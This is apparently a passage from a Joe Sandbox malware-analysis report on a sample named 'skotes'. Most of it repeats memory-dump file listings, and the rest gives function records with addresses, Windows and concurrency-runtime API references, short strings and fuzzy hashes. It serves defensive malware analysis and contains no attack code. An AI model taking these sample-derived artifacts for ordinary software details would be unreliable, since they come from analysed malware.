Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap__alloca_probe_16__freea
String ID: Zd,md
API String ID: 809856575-1215882471
Opcode ID: f7dba606252f05e964b6e3a7dcdd5863e543f3dcfd2ae6c8aec783c55079a755
Instruction ID: fa7b109b99c8f3167494000a953a19e8e2064d74ef65292bf0d3bbb03c6a8e83
Opcode Fuzzy Hash: f7dba606252f05e964b6e3a7dcdd5863e543f3dcfd2ae6c8aec783c55079a755
Instruction Fuzzy Hash: A431C17190021AAFDB209FA5CC41EEF7BAAEF41710F044128FC14A7251DB74CE51C7A4

Function 00641704 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 00641764
std::invalid_argument::invalid_argument.LIBCONCRT ref: 006417AF

Strings

pContext, xrefs: 006417A7

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: f3c064b2c0a073f30a73a2128b46b367040640e680e6332da0743c18fb1ed84b
Instruction ID: 9e7c78dcff12842bae40a41dfee26d64c97f5899b913423407b4df852a5116a7
Opcode Fuzzy Hash: f3c064b2c0a073f30a73a2128b46b367040640e680e6332da0743c18fb1ed84b
Instruction Fuzzy Hash: 4F112935A002149BCF55EF18C4845AD77ABAF86360B154069EC029F342DB74ED81CBD0

Function 00630C5C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_NonReentrantLock::_Acquire.LIBCONCRT ref: 00630CD7
Concurrency::details::ResourceManager::ResourceManager.LIBCONCRT ref: 00630D2A

Strings

p[g, xrefs: 00630CCF

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$AcquireConcurrency::details::Concurrency::details::_Lock::_ManagerManager::Reentrant
String ID: p[g
API String ID: 3303180142-556384550
Opcode ID: 57c10221717760e2c71a8e208d04c078bdda9e8955dc410a509187049e2434fd
Instruction ID: a0dbb7669d01642e14f47ca39c975e37f4afb4c37be02c1155f4bf07bef4f152
Opcode Fuzzy Hash: 57c10221717760e2c71a8e208d04c078bdda9e8955dc410a509187049e2434fd
Instruction Fuzzy Hash: 10019230D056159AEB54EBF8697136D66E2AF08300F60449EF44AEB282CE708E498799

Function 0062CAD4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

CreateSemaphoreExW.KERNEL32(?,006365E3,00000000,00000000,7FFFFFFF,00000000,00000000,001F0003,00000000), ref: 0062CAFC
CreateSemaphoreW.KERNEL32(?,006365E3,00000000,00000000,7FFFFFFF,00000000,00000000,001F0003,00000000), ref: 0062CB1E

Strings

ec, xrefs: 0062CB12, 0062CAF0

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSemaphore
String ID: ec
API String ID: 1078844751-671103900
Opcode ID: 0930df64be0b702e898bf504900f30dfc8f8cedcce64c9a95f1d2051876d86de
Instruction ID: 584339964276ea77fe7fb49f806b09bb4715689080d61b6ace8dae6f3300cc2f
Opcode Fuzzy Hash: 0930df64be0b702e898bf504900f30dfc8f8cedcce64c9a95f1d2051876d86de
Instruction Fuzzy Hash: 93F03436901528ABCF224F80EC148AE7F2BEF08B61B048020FD0966230C7B29C61EFD1

Function 0063B92C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28threadCOMMON

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 0063B94E
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0063B961

Strings

pContext, xrefs: 0063B959

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProxyProxy::ReturnThreadstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 548886458-2046700901
Opcode ID: 62564ab3fcc85fc6138158550d4b088619526af728ef46ea41677a5a1ca7790e
Instruction ID: fa472e4a1ba71896d64ba5ab82027a497b14bb8d5d9007ee555d06641f370bb8
Opcode Fuzzy Hash: 62564ab3fcc85fc6138158550d4b088619526af728ef46ea41677a5a1ca7790e
Instruction Fuzzy Hash: 75E06839F0021467CB00B764E849C9EBB7F9FC1720704402AE611A3381EBB0EA01CAD8

Function 006334CC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 006334FC

Strings

pScheduler, xrefs: 006334F4
version, xrefs: 006334E1

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
